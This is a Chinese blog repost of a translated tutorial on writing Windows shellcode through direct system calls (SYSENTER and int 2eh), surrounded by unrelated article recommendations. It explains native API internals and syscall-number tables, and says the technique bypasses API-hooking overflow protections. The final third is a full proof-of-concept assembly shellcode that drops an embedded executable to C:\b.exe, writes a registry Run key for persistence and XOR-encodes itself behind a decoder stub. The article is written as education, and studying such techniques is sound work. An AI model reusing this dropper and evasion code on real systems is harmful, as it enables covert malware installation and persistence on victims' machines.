使用windows系统调用编写shellcode

Windows命令行command的Shell命令详细解析和语法 Windows命令行command的Shell命令详细解析和语法。 阅读详情
原创翻译]使用windows系统调用编写shellcode

原文作者:Piotr Bania
原文出处:http://securityfocus.com/infocus/1844/1
翻译作者:无敌最寂寞
本文来源:邪恶八进制信息安全团队

使用windows系统调用编写shellcode

简介

写此文的用意,是想让大家知道在windows系统下我们完全可以写出不依赖于标准API调用的shellcode。当然,对于每一种编写思路,都有它的优缺点。在本文中,我将会带领大家学习一下这种shellcode并介绍一些实际的例子。在阅读本文前,我假设你已经懂得一些IA-32下的汇编知识。
本文涉及的shellcode都在windows XP SP1下测试通过,大家也许注意到了我们的shellcode是要依赖于操作系统及其打的SP补丁的,随着文章的深入我们会进一步讨论的。

背景知识

基于NT内核的windows操作系统(NT/2000/XP/2003或更高版本)支持很多的子系统,每个子系统都包含各自的环境。例如,WIN32子系统就是一例(处理普通windows应用程序),再一个就是支持unix或者OS/2的POSIX子系统。那么这意味着什么呢?意味着NT系统可以运行OS/2(当然是
些能够正确运行的系统附件)并支持其大部分系统特性。那么NT系统是如何来支持这些子系统的呢?微软在每个子系统中封装了统一的一组API。简言之,所有的子系统都依靠一些必须的库来工作。比如win32应用程序调用的是win32子系统API,而这些API实际上调用的是NT API(native API等)。本地API不依赖于任何子系统。

从本地API调用到系统调用

那么我们是否真正能写出一个不需要标准API调用的shellcode呢?对于某些API是可以的,而又有一些是不可以的,有些API并不需要调用本地API就可以完成它们的工作等等。通过阅读下面的代码我们可以得到证实(以下为从KERNEL32.DLL中导出的GetCommandLineA API):


.text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358           mov eax, dword_77ED7614
.text:77E7E35D           retn
.text:77E7E35D GetCommandLineA endp


此API并没有使用任何调用。它做的唯一一件事就是返回了指向命令行参数的一个指针。我们来讨论一个符合我们理论的例子,下面一部分是TerminateProcess API函数的反汇编代码:


.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near       ; CODE XREF: ExitProcess+12 j
.text:77E616B8                         ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess     =     dword ptr 4
.text:77E616B8 uExitCode     =     dword ptr 8
.text:77E616B8
.text:77E616B8             cmp [esp+hProcess], 0
.text:77E616BD             jz short loc_77E616D7
.text:77E616BF             push [esp+uExitCode]     ; 1st param: Exit code
.text:77E616C3             push [esp+4+hProcess]     ; 2nd param: Handle of process
.text:77E616C7             call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess


就像你看到的那样,TerminateProcess函数只是简单地将参数压栈后接着调用NTDLL.DLL中的NtTerminateProcess函数。NTDLL.DLL中的函数就是本地API。换句话说,以‘NT’开头的函数就是本地API(有的是以‘ZW’开头的,看一下NTDLL的导出函数便知)。接着看一下NTTerminateProcess函数吧:


.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near     ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448                       ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h               ; 系统调用号: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h           ; EDX = 7FFE0300h
.text:77F5C452 call edx                 ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp


该native API事实上仅仅将系统调用号放入eax,然后调用7FFE0300h处的代码:


7FFE0300     8BD4   MOV EDX,ESP
7FFE0302     0F34   SYSENTER
7FFE0304     C3     RETN



上面的代码向我们展示了整个调用过程:EDX是用户堆栈指针,EAX是将要执行的系统调用。SYSENTER指令执行了一个到ring 0级系统程序的快速调用,这个系统程序用来完成剩余的工作。

操作系统间的区别

在windows2000(其它除了XP以及XP更高版本外的基于NT内核的系统)中,不使用SYSENTER指令。但在windows XP中使用SYSENTER指令替换了“int 2eh”。下面展示了windows 2000中系统调用的实现:



    MOV   EAX, SyscallNumber           ; 被请求的系统调用号
    LEA   EDX, [ESP+4]               ; EDX = 参数
    INT   2Eh                     ; 调用内核处理程序
    RET   4*NUMBER_OF_PARAMS           ; 返回


我们已经知道了windows xp的处理方法,下面这个就是我在我的shellcode中是如何使用的:



  push   fn                     ; 将系统调用号压栈
  pop   eax                     ; EAX = 系统调用号
  push   eax                     ; 这没什么影响
  call   b                     ; 下一条指令压入堆栈
b:   add   [esp],(offset r - offset b)     ; 标准化堆栈
  mov   edx, esp                 ; EDX = 当前堆栈
  db   0fh, 34h                 ; SYSENTER 指令
r:   add   esp, (param*4)             ; 标准化堆栈



SYSENTER指令似乎是在Intel Pentium II处理器中第一次引入。SYENTER指令并不被Athlon处理器支持。确定一个特定的处理器是否支持SYSENTER指令,我们可以使用CPUID指令协同SEP标志以及CPU特定的family/model/stepping属性检测。(译者注:CPUID几乎是所有x86 CPU内置的指令,用它可以获得CPU的一些信息。关于此命令的详细用法,大家可以从google中搜索到。此处我们可以使用CPUID指令来检测CPU是否支持SYSENTER指令)。以下是intel处理器如何进行检测的:


IF (CPUID SEP bit is set)
  THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
    THEN
      SYSENTER/SYSEXIT_NOT_SUPPORTED
    FI;
  ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;


当然,在各个windows操作系统之间这并不是唯一的区别,比如系统调用号在各个windows操作系统版本之间就不同,如下表所示:


Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread
Windows NT SP 3   0x3         0x5             0x7
SP 4           0x3         0x5             0x7
SP 5           0x3         0x5             0x7
SP 6           0x3         0x5             0x7
Windows 2000 SP 0 0x8         0xa             0xc
SP 1           0x8         0xa             0xc
SP 2           0x8         0xa             0xc
SP 3           0x8         0xa             0xc
SP 4           0x8         0xa             0xc
Windows XP SP 0   0x8         0xb             0xd
SP 1           0x8         0xb             0xd
SP 2           0x8         0xb             0xd
Win2003 Server SP0 0x8         0xc             0xe
SP 1           0x8         0xc             0xe



我们可以在网上搜索到这些系统调用表,也可以在本文后面的参考资料里找到。


使用系统调用编写shellcode的t优点

下面是使用系统调用方法来编写shellcode的优点:

1、使用此方法编写的shellcode不再需要使用API,这是因为我们不再需要定位API的地址了(像内核地址的查找、导入节或者导出节的解析等等,都不需要了)。因此可以利用此方法绕过运行在ring 3上的“防止缓冲区溢出系统”。此类的保护机制通常并不是阻止了缓冲区溢出攻击,而是HOOK了一些经常使用的API然后检测调用该API的地址,以此来阻止shellcode的执行。但是如果是使用此方法编写的shellcode,这类保护就失效了。(译着注:“防止缓冲区溢出系统”,原文是"buffer overflow prevention systems"。就像上文说的那样,并不是真正的阻止了缓冲区溢出。所以我觉得翻译成“缓冲区溢出抑制系统”更为确切些。)

2、由于你是直接向内核提交请求而跳过了win32子系统的所有指令,那么shellcode的执行速度肯定是非常快的。(当然,现在的CPU速度都是那么快,谁又会在乎这点速度呢)

使用系统调用编写shellcode的缺点

下面是使用系统调用编写shellcode的一些缺点:

1、shellcode的体积,这是用这种方法编写shellcode的最大的缺点。因为我们不使用windows子系统封装的一些功能,那么我们就需要自己来编写这些功能代码。因此shellcode体积就会激增。
2、兼容性----正如前面所说的,“int 2eh”和“sysenter”指令在不同系统的版本中的实现是不同的。而且系统调用号在每个版本的系统中也是不同的。

编写系统调用版shellcode

在本文的最后是一个使用此方法写出的shellcode,主要功能是释放一个文件然后写入注册表一个启动键值。在系统重起后,再通过注册表的启动键值执行释放出的文件。也许你们会问我为什么不直接执行这个文件,而是要等到下次重启后再通过注册表启动。通过系统调用来执行win32程序并不是那么容易的,不要认为我们可以调用NtCreateProcess来完成这项工作。让我们来看看CreateProcess API在执行一个程序前需要做哪些事情:

1、在进程中打开.exe映像文件。
2、创建windows进程对象。
3、创建初始化线程(堆栈、上下文以及windows线程对象)。
4、将新进程通知到win32 子系统,以便win32子系统可以创建新的进程和线程。
5、开始执行初始化线程(除非指定了CREATE_SUSPENDED属性)。
6、在新创建的进程和线程的上下文中,完成地址空间的初始化(包括加载所需dll)然后开始执行程序。

因此,使用注册表启动的方法相对来说是比较容易的和快速的。下面的shellcode执行后会产生出一个MessageBox例程(如此要涉及到PE结构,所以shellcode的体积就比较大了)。不管怎么说,这只是个例子演示而已。实际运用中我们可以用本地shell以及下载执行或者命令执行等任

何功能来代替,下面我们来实际看下代码吧:


The shellcode - Proof Of Concept
comment $
        -----------------------------------------------
        WinNT (XP) Syscall Shellcode - Proof Of Concept
        -----------------------------------------------
        Written by: Piotr Bania
                http://pb.specialised.info
$
include       my_macro.inc
include       io.inc
; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.
FILE_PATH               equ   "/??/C:/b.exe",0       ; 产生的文件的存放路径
SHELLCODE_DROP             equ   "D:/asm/shellcodeXXX.dat" ; shellcode文件存放路径
                                            ; shellcode
REG_PATH                 equ   "/Registry/Machine/Software/Microsoft/Windows/CurrentVersion/Run",0
; ------------------------------------------------------------------------------------
KEY_ALL_ACCESS             equ   0000f003fh       ; const value
_S_NtCreateFile           equ   000000025h       ; windows xp sp1
_S_NtWriteFile             equ   000000112h       ; 下的系统调用号
_S_NtClose               equ   000000019h
_S_NtCreateSection         equ   000000032h
_S_NtCreateKey             equ   000000029h
_S_NtSetValueKey           equ   0000000f7h
_S_NtTerminateThread         equ   000000102h
_S_NtTerminateProcess       equ   000000101h               
@syscall                 macro fn, param         ; windows XP的系统调用
                    local b, r             ; 实现
                    push fn
                    pop eax
                    push eax ; makes no diff
                    call b
                  b: add [esp],(offset r - offset b)
                    mov edx, esp
                    db 0fh, 34h
                  r: add esp, (param*4)
                    endm
path                   struc               ; 有用的结构
                    p_path dw MAX_PATH dup (?) ;从C头文件中转换而来的
path                   ends
object_attributes           struc
                    oa_length           dd     ?
                    oa_rootdir         dd     ?
                    oa_objectname       dd     ?
                    oa_attribz         dd     ?
                    oa_secdesc         dd     ?
                    oa_secqos           dd     ?
object_attributes           ends
pio_status_block           struc
                    psb_ntstatus         dd     ?
                    psb_info           dd     ?
pio_status_block           ends
unicode_string struc
                    us_length           dw     ?
                                    dw     ?
                    us_pstring         dd     ?
unicode_string ends
    call crypt_and_dump_sh                     ; xor and dump shellcode
sc_start           proc
    local   u_string             :unicode_string   ; local variables
    local   fpath               :path         ; (stack based)
    local   rpath               :path
    local   obj_a               bject_attributes
    local   iob                 :pio_status_block
    local   fHandle             WORD
    local   rHandle             WORD
    sub   ebp,500                         ; allocate space on stack堆栈中分配空间
    push   FILE_PATH_ULEN                     ; unicode字符串
    pop   [u_string.us_length]                 ; 长度
    push   255                             ; set up unicode字符穿最大
    pop   [u_string.us_length+2]               ; 长度
    lea   edi,[fpath]                       ; EDI = 指向fpath
    push   edi                             ; 路径
    pop   [u_string.us_pstring]                 ; set up the unciode entry
    call   a_p1                           ; put file path address
a_s:   db                     FILE_PATH         ; on stack
    FILE_PATH_LEN             equ   $ - offset a_s
    FILE_PATH_ULEN             equ   18h
a_p1:   pop   esi                             ; ESI = ptr to file path
    push   FILE_PATH_LEN                     ; (ascii one)
    pop   ecx                             ; ECX = FILE_PATH_LEN
    xor   eax,eax                         ; EAX = 0
a_lo:   lodsb                                 ; begin ascii to unicode
    stosw                                 ; conversion do not forget
    loop   a_lo                           ; to do sample align
    lea   edi,[obj_a]                       ; EDI = object attributes st.
    lea   ebx,[u_string]                     ; EBX = unicode string st.
    push   18h                             ; sizeof(object attribs)
    pop   [edi.oa_length]                     ; store
    push   ebx                             ; store the object name
    pop   [edi.oa_objectname]
    push   eax                             ; rootdir = NULL
    pop   [edi.oa_rootdir]
    push   eax                             ; secdesc = NULL
    pop   [edi.oa_secdesc]
    push   eax                             ; secqos = NULL
    pop   [edi.oa_secqos]
    push   40h                             ; attributes value = 40h
    pop   [edi.oa_attribz]
    lea   ecx,[iob]                         ; ECX = io status block
    push   eax                             ; ealength = null
    push   eax                             ; eabuffer = null
    push   60h                             ; create options
    push   05h                             ; create disposition
    push   eax                             ; share access = NULL
    push   80h                             ; file attributes
    push   eax                             ; allocation size = NULL
    push   ecx                             ; io status block     
    push   edi                             ; object attributes
    push   0C0100080h                       ; desired access
    lea   esi,[fHandle]
    push   esi                             ; (out) file handle
    @syscall _S_NtCreateFile, 11                 ; execute syscall
    lea   ecx,[iob]                         ; ecx = io status block
    push   eax                             ; key = null
    push   eax                             ; byte offset = null
    push   main_exploit_s                     ; length of data
    call   a3                             ; ptr to dropper body
s1:                         include msgbin.inc   ; dopper data
main_exploit_s                 equ   $ - offset s1
a3:   push   ecx                             ; io status block
    push   eax                             ; apc context = null
    push   eax                             ; apc routine = null
    push   eax                             ; event = null
    push   dword ptr [esi]                     ; file handle
    @syscall _S_NtWriteFile, 9                   ; execute the syscall
    mov   edx,edi                         ; edx = object attributes
    lea   edi,[rpath]                       ; edi = registry path
    push   edi                             ; store the pointer
    pop   [u_string.us_pstring]                 ; into unicode struct
    push   REG_PATH_ULEN                     ; store new path len
    pop   [u_string.us_length]
    call   a_p2                           ; store the ascii reg path
a_s1:   db                     REG_PATH         ; pointer on stack
    REG_PATH_LEN             equ   $ - offset a_s1
    REG_PATH_ULEN             equ   7eh
a_p2:   pop   esi                             ; esi ptr to ascii reg path
    push   REG_PATH_LEN
    pop   ecx                             ; ECX = REG_PATH_LEN
a_lo1: lodsb                                 ; little ascii 2 unicode
    stosw                                 ; conversion
    loop a_lo1
    push   eax                             ; disposition = null
    push   eax                             ; create options = null
    push   eax                             ; class = null
    push   eax                             ; title index = null
    push   edx                             ; object attributes struct
    push   KEY_ALL_ACCESS                     ; desired access
    lea   esi,[rHandle]
    push   esi                             ; (out) handle
    @syscall _S_NtCreateKey,6
    lea   ebx,[fpath]                       ; EBX = file path
    lea   ecx,[fHandle]                     ; ECX = file handle
    push   eax                           
    pop   [ecx]                           ; nullify file handle
    push   FILE_PATH_ULEN - 8                   ; push the unicode len
                                        ; without 8 (no '/??/')
    push   ebx                             ; file path
    add   [esp],8                         ; without '/??'
    push   REG_SZ                           ; type
    push   eax                             ; title index = NULL
    push   ecx                             ; value name = NULL = default
    push   dword ptr [esi]                     ; key handle
    @syscall _S_NtSetValueKey,6                 ; set they key value
    dec   eax
    push   eax                             ; exit status code
    push   eax                             ; process handle
                                        ; -1 current process
    @syscall _S_NtTerminateProcess,2               ; maybe you want
                                        ; TerminateThread instead?
ssc_size                     equ $ -offset sc_start
sc_start           endp
exit:
    push 0
    @callx ExitProcess
crypt_and_dump_sh:                             ; this gonna' xor
                                        ; the shellcode and
    mov   edi,(offset sc_start - 1)             ; add the decryptor
    mov   ecx,ssc_size                       ; finally shellcode file
                                        ; will be dumped
xor_loop:
    inc   edi
    xor   byte ptr [edi],96h
    loop   xor_loop
    _fcreat SHELLCODE_DROP,ebx                   ; some of my old crazy
    _fwrite ebx,sh_decryptor,sh_dec_size           ; io macros
    _fwrite ebx,sc_start,ssc_size
    _fclose ebx
    jmp exit
sh_decryptor:                                 ; that's how the decryptor
    xor ecx,ecx                             ; looks like
    mov cx,ssc_size
    fldz
sh_add: fnstenv [esp-12]                         ; fnstenv decoder
    pop edi
    add edi,sh_dec_add
sh_dec_loop:
    inc edi
    xor byte ptr [edi],96h
    loop sh_dec_loop
sh_dec_add                     equ ($ - offset sh_add) + 1
sh_dec_size                   equ $ - offset sh_decryptor
end start


写在最后的话

希望大家能喜欢这篇文章,同样的本文的目的只是为了向大家讲述一种方法。任何利用本技术去做违法的事,与作者无关。

参考资料:
"Inside the Native API"
Interactive Win32 syscall page
msf生成的shellcode分析--走,组团分析shellcode呀 作者丨selph 分析MSF Windows/exec Shellcode 最近分析漏洞用到msf生成的样本进行测试,其中用到payload选项为Windows/exec cmd="calc.exe"的这个payload,本着一定要知道利用代码是怎么运行的想法,开始对该shellcode的详细分析。 实验环境 •虚拟机:Kali Linux 2022.1 x64 •物理机:Windows 10 21H2 家庭版 •软件:x86... 阅读详情

相关推荐

Jetson设备文件系统损坏?别急着重刷!试试这个fsck.ext4急救指南

本文详细介绍了当Jetson设备出现文件系统损坏时,如何使用fsck.ext4工具进行急救修复,避免不必要的重刷系统。文章涵盖了文件系统错误的常见原因、fsck.ext4工具的使用方法及实战修复流程,特别针对EXT4-fs错误和superblock损坏提供了专业解决方案。

weixin_28675839的博客 404

Windows 10_X64环境shellcode编写

环境 windows 10_x64 windbg_x64 x64dbg nasm 适用于 VS 2017 的 x64 本机工具命令提示(安装visual studio会自带) redasm shellcode shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言/汇编编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。 虽然现在的操

Anansi的博客 2845

Cadence IC617环境下的EXT151(QRC)安装与配置全记录:从解压到成功调用

本文详细介绍了在Cadence IC617环境下安装与配置EXT151(QRC)的全过程,包括环境准备、安装包处理、InstallScape引导安装、补丁安装与环境配置等关键步骤。针对Linux环境下可能出现的兼容性问题提供了实用解决方案,帮助用户顺利完成QRC工具的部署与调用,提升集成电路设计验证效率。

weixin_30527323的博客 630

Windows shellcode编写和提取细节

0x00 shellcode编写首先shellcode的编写可以用纯汇编也可以用c++,其两者难易程度可想而知,还是抱住VS的大腿,不过这其中要注意一些代码格式和编译选项,以确保生成的s...

蚁景网安学院 840

Ext4文件系统在线扩容翻车实录:当resize2fs遇到Permission denied时该怎么办?

本文深入解析Ext4文件系统在线扩容时遭遇Permission denied错误的根本原因,提供从诊断到修复的完整方案。通过分析内核日志和文件系统状态,揭示resize2fs失败的深层机制,并给出四层渐进式修复策略,帮助管理员安全解决扩容问题。

b0c1d2的博客 535

SpotBugs实战:10大类Bug检测规则详解与代码优化实例(附避坑清单)

本文深入解析SpotBugs在Java开发中的实战应用,详细讲解10大类Bug检测规则与代码优化实例,包括NPE防御、多线程安全、性能优化等关键问题。通过具体代码示例和避坑清单,帮助开发者提升代码质量,有效集成到CI/CD流程中。

weixin_42665255的博客 194

window系统下的远程堆栈溢出----shellcode编写

堆栈溢出系列讲座window系统下的远程堆栈溢出----shellcode编写应用前面的设计思想,我们可以写出来shellcode如下:unsigned char sploit[580] = {0x90, 0x8b, 0xfc, /* mov edi,esp */ 0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xf7, 0xd0, /* no

1324

2017–2024年中国10米/20米分辨率水稻种植分布数据集

摘要:本数据集提供2017-2024年中国23个省级行政区的水稻种植分布数据,包含单季稻和双季稻分类(GeoTIFF格式,WGS84坐标系)。5个省份分辨率为20米,其余为10米,基于Sentinel卫星数据和TWDTW方法生成。数据公开共享(7.99GB),使用需注明来源并引用相关文献(DOI:10.12199/nesdc.ecodb.rs.2025.012)。涉及学科包括遥感、生态学和地理学,研究成果需发送至国家生态科学数据中心备案。

国科大硕士在读,分享Python/GEE/Matlab/R专业代码实践,涵盖数据分析、算法开发与应用技巧等,以代码会友。 1382

ext 各种错误类型

[code="javaScript"]failure:function(form, action){ if(action.failureType == 'server'){ //服务器端你自己返回success为false时 Ext.MessageBox.alert('友情提示', action.result.info); }else if(act...

江畔踏雪 434

通讯软件013——分分钟学会Kepware OPC AE Server仿真配置

本文介绍如何使用Kepware软件仿真OPC AE Server配置。

zhouwl72的博客 2227

【ComfyUI】Flux + ControlNet 边缘搭配深度、瓷砖、姿态引导图生图

本文介绍了一个基于 Wan 2.1 的 ComfyUI 文生视频工作流,通过 UNet、CLIP 和 VAE 三个核心模型,将文本提示转化为动态视频。工作流包含模型加载、提示词解析、潜空间采样等7个环节,支持分辨率、帧数等参数设置,最终输出高质量视频文件。该方案适用于创意设计、教育培训和多媒体制作等场景,能快速生成符合语义的动态内容。文章还提供了相关开发资源和学习链接,适合AI视频生成领域的研究者和实践者参考。

Mr数据杨 1632

ext提交表单时,各种错误类型

调试常用,大家根据返回信息来查找错误原因,才能事半功倍。 failure:function(form, action){    if(action.failureType == 'server'){        //服务器端你自己返回success为false时     Ext.MessageBox.alert('友情提示', action.result.info);    }else ...

shiyanmagic的专栏 208

三维重建(十三)——多视角重建

本文综述了多视角三维重建技术,涵盖静态和动态场景的重建方法。介绍了从图像获取到纹理映射的SFM流程,以及非刚性重建(NRSFM)的挑战和解决方案。重点探讨了基于可微渲染的重建方法,以及数据采集策略、相机标定和同步技术。文章还讨论了如何用单视角相机模拟多视角重建,总结了关键技术和未来研究方向。

河海大学研究生在读的学习笔记 1058

EXT.NET DirectMethod failure回调函数 去掉错误返回值中敏感的堆栈信息

在EXT.NET中,DirectMethod回调函数的failure回调函数的参数是一个包含错误信息的对象。typemessage通过查看这些参数值,您可以了解回调函数失败的原因以及相关的错误信息。

itisauto2008的专栏 265

把雷达强度特征融合于 Cartographer的实现流程 :从地图构建到在线定位

摘要:本文提出在激光SLAM中融合强度特征的方法,解决几何匹配在退化环境中的失效问题。详细介绍了两种高反地图生成方式:离线使用assets_writer工具处理优化轨迹,在线实时累积高反点;以及权重网格的构建与预计算金字塔方法。定位阶段通过加权得分公式融合几何和强度信息,采用自适应缩放策略平衡特征依赖。该方案在不显著增加计算负担的前提下,有效提升了对称环境等退化场景的定位稳定性,对利用人工路标的移动机器人具有实用价值。

Studying…… 1328

【Yolo12改进策略】MRFA 小核协同,构建巨大的感受野,同时保持高斯型分布|即插即用|ICCV2025

本文将介绍如何将 UniConvNet 论文中的核心模块——感受野聚合器集成到 Yolo12中,通过一种新颖的“小核协同”范式,在不显著增加计算开销的前提下,显著提升模型的感受野质量和检测精度。在目标检测中,模型要识别一个物体,不仅需要看到物体的局部特征,更需要理解其周围的上下文信息。传统卷积网络通过堆叠小卷积核(如 3x3)来扩大“感受野”,但这个过程缓慢且效率低下。而近期流行的大核卷积,虽然感受野大,但会破坏“距离越近、影响越大”的自然分布,且带来巨大的计算负担。MRFA 找到了一条“中间道路”:它通过

m0_47867638的博客 930

struts2加入filter之后不能访问html页面,JavaEE考试题

51.使用Ext的Web页面需要引入ext-all.css 、ext-base.js 和ext-all.js 3个Ext库文件。P(322)二、判断题()1. 程序中的语法错误可以在编译时立即发现。√()2. 程序中的逻辑错误可以在编译时立即发现。×()3. JSP程序运行在客户端浏览器中。× p32()4. Servlet程序运行在服务器Web容器中。√()5. Applet运行在客户端浏览器中...

weixin_36216477的博客 248

aic8800出现insmod: can‘t insert ‘/lib/modules/4.9.191/aic8800_fdrv.ko‘: No such device

2、如果单独编译wifi驱动,则把CONFIG_PLATFORM_UBUNTU?= y都改为CONFIG_PLATFORM_ALLWINNER?1、如果把wifi驱动嵌入到内核编译,则在makefile中加入这一句。后面再修改对应平台的交叉编译链和内核吗路径等。

mantouyouyou的博客 510

Deno Web Crypto 的 Rust 实现,一次调用全程追踪

Deno 的 Web Crypto API 由 ext/crypto 用 Rust 实现。这篇文章沿一次 crypto.subtle.digest() 调用的完整链路走一遍,把 cppgc 对象化、seed 播种、密钥存储三个设计点的实现位置讲清楚。读完你可以直接定位任意 WebCrypto 调用的底层代码。 ## 🗺️ 一行 digest() 背后走了多远 ```javascript co

gitblog_00905的博客 423

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Ext.form组件

1、Ext.form.Action      配置项:           success:执行成功后回调的函数,包括两个参数:form和action           failure:执行失败后回调的函数,包括两个参数:form和action           method:表单的提交方式,有效值包括GET、POST           params:传递到请求中的参数   

wbtrip1993的博客 416

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

EXT常用组件

引自: http://www.360doc.com/content/11/0118/16/4335104_87399204.shtml

果酱 の 博客 758

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

Ext.form各类控件的配置及方法

Ext.form各类控件的配置及方法 1、Ext.form.Action      配置项:            success:执行成功后回调的函数,包括两个参数:form和action            failure:执行失败后回调的函数,包括两个参数:form和action            method:表单的提交方式,有效值包括GET、POST       ...

陈亚杰 193

【亲测免费】 RED4ext 项目常见问题解决方案

RED4ext 项目常见问题解决方案 RED4ext 是一个为 REDengine 4(Cyberpunk 2077)开发的开源脚本扩展库。该项目的目的是让模组制作者能够添加新特性、修改游戏行为、添加新的脚本函数或调用现有的函数。该项目主要使用以下编程语言: C++ CMake 新手在使用 RED4ext 项目时需要注意的三个问题及解决步骤 问题1:如何安装 RED4ext 问题描述: 新手用...

gitblog_00321的博客 2008

Ext控件属性函数介绍|Ext.form各类控件的配置及方法

Ext.form各类控件的配置及方法 1、Ext.form.Action      配置项:           success:执行成功后回调的函数,包括两个参数:form和action           failure:执行失败后回调的函数,包括两个参数:form和action           method:表单的提交方式,有效值包括GET、POST           par...

技术百科 410

如何用AI工具快速修复ext2fsd兼容性问题

上跑起来特别顺畅,它的内置Python环境已经预装了PyQt等常用库,省去了配环境的麻烦。最惊喜的是部署功能——点击按钮就能生成可分享的在线工具,同事直接通过网页就能上传日志文件获取诊断报告,不用再挨个帮他们装运行环境了。以下是具体实践过程,或许对你也有帮助。整个过程让我体会到,AI辅助开发不是替代程序员,而是把我们从重复劳动中解放出来,更专注于架构设计。特别有用的是,AI能根据不同的Windows版本生成条件编译代码。开发GUI界面时遇到个有趣问题:当用户选择多个分区时,传统方案会串行处理。

AgatePanther34的博客 484
上一篇: 剖析Windows系统服务调用机制
下一篇: Hooking Windows NT System Services
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值